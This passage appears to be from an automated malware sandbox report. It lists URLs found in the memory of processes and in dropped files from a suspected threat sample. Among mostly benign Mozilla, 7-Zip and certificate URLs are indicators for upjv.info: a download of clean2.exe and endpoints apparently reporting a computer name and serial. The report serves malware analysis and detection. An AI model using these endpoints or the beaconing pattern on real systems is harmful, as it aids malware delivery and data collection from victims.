                  Source: firefox.exe, 00000011.00000003.2346734789.000002435DFD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2373792131.000002435DFD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2409329670.000002435DFE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2383825415.000002435DFDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2339804933.000002435DFE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2391112437.000002435DFE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2354051488.000002435DFD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2350875567.000002435DFE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2356559312.000002435DFD1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mozilla.org
                  Source: firefox.exe, 00000011.00000003.2410189879.0000024358FF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2388339352.000002435C7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435EDD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2264776497.000002435C7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421007107.000002435EFBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2434614485.000002435C7F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2378953131.000002435BADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2401229475.00000243658DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2263792179.0000024358FFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2381604409.000002435E1F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2443287304.000002435C75F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2449633960.000002435DB70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335780358.00000243658DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2330894955.000002435EF84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2467948860.000002435C8BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2364433241.000002435C7F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2372566734.000002435C7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2348291029.000002435EF73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477297833.0000024368958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2356697139.000002435C7C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mozilla.org/MPL/2.0/.
                  Source: clean.exe, 00000005.00000003.2156488353.0000000004240000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
                  Source: 7-ZipPortable.exe.5.drString found in binary or memory: http://ocsp.comodoca.com0
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
                  Source: firefox.exe, 00000011.00000003.2500835652.00000243577D3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0N
                  Source: firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://ocsp.thawte.com0
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://portableapps.com/development.
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://softfurlan.altervista.org
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmp, it.txt.5.drString found in binary or memory: http://tjl73.altervista.org/
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7-ZipPortable.exe.5.drString found in binary or memory: http://ts-ocsp.ws.symantec.com07
                  Source: WMIC.exe, 0000000B.00000003.2222855195.0000000002B1E000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000002.2224959404.0000000002B1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.inf
                  Source: firefox.exe, 00000011.00000003.2329912010.000002436336A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347995544.00000243681FC000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.17.drString found in binary or memory: http://upjv.info
                  Source: firefox.exe, 00000011.00000003.2485281755.000002435EF27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347995544.00000243681FC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/
                  Source: firefox.exe, 00000011.00000003.2329837515.0000024368108000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/?resource=upjv.info
                  Source: firefox.exe, 00000011.00000003.2470762903.00000243684CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean
                  Source: WMIC.exe, 0000000B.00000003.2223024451.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000003.2223569597.0000000002AEE000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000002.2224864903.0000000002AEE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clea
                  Source: firefox.exe, 00000017.00000002.3337176956.0000025EFE13A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clea4
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2897896794.0000000002644000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2898005545.0000000002663000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2897825964.0000000002940000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean.php?serial=%serial%
                  Source: firefox.exe, 00000011.00000003.2329912010.000002436336A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3342381495.000001F527850000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3338861198.000001F527550000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3338861198.000001F52755A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3342381495.000001F527854000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3341532191.00000184C7314000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3336842750.00000184C6FAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3341532191.00000184C7310000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3337847168.0000025EFE1D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3337176956.0000025EFE130000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3337176956.0000025EFE13A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3337847168.0000025EFE1D4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean.php?serial=F2LEUD3EOH
                  Source: firefox.exe, 00000010.00000002.2251461114.000001E8C1440000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean.php?serial=F2LEUD3EOH--attempting-deelevation
                  Source: firefox.exe, 00000016.00000002.3336842750.00000184C6FA0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean.php?serial=F2LEUD3EOH;%ZQ
                  Source: firefox.exe, 00000011.00000003.2250734124.000002434D131000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2250734124.000002434D112000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3342381495.000001F527850000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3338861198.000001F527550000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3342381495.000001F527854000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3341532191.00000184C7314000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3341532191.00000184C7310000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3336842750.00000184C6FA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3337847168.0000025EFE1D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3337176956.0000025EFE130000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3337847168.0000025EFE1D4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean.php?serial=F2LEUD3EOHMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
                  Source: firefox.exe, 00000011.00000003.2250734124.000002434D112000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean.php?serial=F2LEUD3EOHNUMBER_OF_PROCESSORS=2OneDrive=C:
                  Source: firefox.exe, 00000011.00000003.2326619496.00000243683E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347364435.00000243683E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418699275.00000243683E4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean.php?serial=F2LEUD3EOHen
                  Source: firefox.exe, 00000011.00000003.2397264757.00000243681D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2471726860.00000243681D4000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.17.drString found in binary or memory: http://upjv.info/clean/clean.php?serial=F2LEUD3EOHofni.vjpu.d
                  Source: firefox.exe, 0000000F.00000002.2243026015.00000295A9A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean.php?serial=F2LEUD3EOHy
                  Source: ariac.exe, 00000004.00000002.2143550967.000000000166D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean2.
                  Source: ariac.exe, 00000004.00000002.2143550967.0000000001660000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 00000004.00000003.2142678326.000000000318F000.00000004.00000020.00020000.00000000.sdmp, clean.exe, 00000005.00000002.2157879689.000000000073E000.00000004.00000020.00020000.00000000.sdmp, clean.exe, 00000005.00000003.2144398167.00000000024F0000.00000004.00000020.00020000.00000000.sdmp, clean.exe, 00000005.00000002.2157997210.00000000021C0000.00000004.00000020.00020000.00000000.sdmp, clean.exe, 00000005.00000002.2158345471.0000000002630000.00000004.00000020.00020000.00000000.sdmp, 7z.exe, 0000000A.00000002.2210406341.0000000000E00000.00000004.00000020.00020000.00000000.sdmp, 7z.exe, 0000000A.00000002.2210504115.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, 7z.exe, 0000000A.00000003.2200703191.000000000B381000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000003.2223024451.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000002.2224729495.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000002.2224220104.0000000002A60000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000002.2224793423.0000000002AE1000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000002.2224729495.0000000002AC3000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000000B.00000003.2223024451.0000000002AC0000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.2226536723.0000000003130000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238231270.0000000001819000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238569276.0000000001CB4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2244829208.00000295A9E94000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2244829208.00000295A9E90000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2243026015.00000295A9A5A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean2.exe
                  Source: ariac.exe, 00000004.00000003.2142647323.0000000003186000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 00000004.00000002.2143628501.000000000318D000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 00000004.00000003.2142663781.000000000318B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean2.exe)
                  Source: ariac.exe, 00000004.00000003.2142647323.0000000003186000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 00000004.00000002.2143628501.000000000318D000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 00000004.00000003.2142663781.000000000318B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean2.exe2.5:
                  Source: more.com, 0000000C.00000002.2226559592.00000000031B0000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.2226536723.0000000003130000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000003.2237351744.0000000001B67000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000003.2237260409.0000000001B66000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238482972.0000000001B68000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238231270.0000000001810000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238569276.0000000001CB4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2244829208.00000295A9E94000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2244829208.00000295A9E90000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2243026015.00000295A9A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean2.exeCommonProgramFiles=C:
                  Source: firefox.exe, 0000000F.00000002.2243026015.00000295A9A5A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean2.exen
                  Source: ariac.exe, 00000004.00000002.2142911942.0000000000D00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean2.exendows
                  Source: ariac.exe, 00000004.00000002.2142911942.0000000000D00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/clean2.exeogramFil
                  Source: ariac.exe, 0000000E.00000003.2237351744.0000000001B67000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000002.2238499685.0000000001B6C000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000003.2237260409.0000000001B66000.00000004.00000020.00020000.00000000.sdmp, ariac.exe, 0000000E.00000003.2237370516.0000000001B6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/e
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2897896794.0000000002644000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2898005545.0000000002663000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, 00000000.00000003.2897825964.0000000002940000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/entree.php?poste=%computername%
                  Source: firefox.exe, 0000000F.00000002.2243026015.00000295A9A5A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000F.00000002.2243026015.00000295A9A50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/clean/entree.php?poste=user-PC
                  Source: firefox.exe, 00000011.00000003.2446484016.000002435E236000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://upjv.info/favicon.ico
                  Source: places.sqlite-wal.17.drString found in binary or memory: http://upjv.infod
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7z.exe, 0000000A.00000003.2200703191.000000000B403000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.7-zip.org/
                  Source: clean.exe, 00000005.00000003.2156488353.000000000425A000.00000004.00001000.00020000.00000000.sdmp, 7z.exe, 0000000A.00000003.2200703191.000000000B381000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.7-zip.org/8
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmp, ku-ckb.txt.5.drString found in binary or memory: http://www.chawg.org
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.developershome.com/7-zip/
                  Source: firefox.exe, 00000011.00000003.2500835652.00000243577D3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2500989572.00000243577AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2503197731.00000243577AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.gnu.org/
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.hot.ee/somberg/7zip.html
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, ariac.exe.2.drString found in binary or memory: http://www.metalinker.org/
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, ariac.exe.2.drString found in binary or memory: http://www.metalinker.org/basic_string::_M_construct
                  Source: firefox.exe, 00000011.00000003.2320326095.000002435C179000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2494367583.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2333638774.000002435E25C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2446484016.000002435E25C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.mozilla.org/2006/browser/search/
                  Source: firefox.exe, 00000011.00000003.2480393696.00000243654E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2437586421.000002460003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.00000243683B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2347364435.00000243683B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335110994.000002435C998000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2449291073.000002435DC4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2312295341.000002435DEAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2425087472.000002435DC77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419420994.00000243654E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2423809946.000002435DEAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335483499.000002435C958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2312295341.000002435DEB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2472115156.00000243654E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
                  Source: firefox.exe, 00000011.00000003.2347364435.00000243683CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.00000243683CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2418699275.00000243683CC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulP8c
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.oruddho.com
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.prizeeinternational.com
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.teisininkas.lt/ivairus/7-zip:
                  Source: firefox.exe, 00000016.00000002.3344074996.00000184C7E4C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2307042533.00000184C7E4C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2305271045.00000184C7E4C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.videolan.org/x264.html
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://x1.c.lencr.org/0
                  Source: firefox.exe, 00000011.00000003.2334658251.000002435D4A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://x1.i.lencr.org/0
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
                  Source: firefox.exe, 00000011.00000003.2350145909.000002435E254000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://MD8.mozilla.org/1/m
                  Source: clean.exe, 00000005.00000003.2151715946.0000000002FBD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://PortableApps.com/
                  Source: firefox.exe, 00000011.00000003.2335110994.000002435C97A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259756769.000002435B71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260165444.000002435B76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260276730.000002435B783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.duckduckgo.com/ac/
                  Source: firefox.exe, 00000011.00000003.2491259190.000002435ED70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2421599733.000002435ED70000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://account.bellmedia.c
                  Source: firefox.exe, 00000011.00000003.2495112800.000002435E22C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://accounts.firefox.com/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://accounts.firefox.com/settings/clients
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368334000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.firefox.comK
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
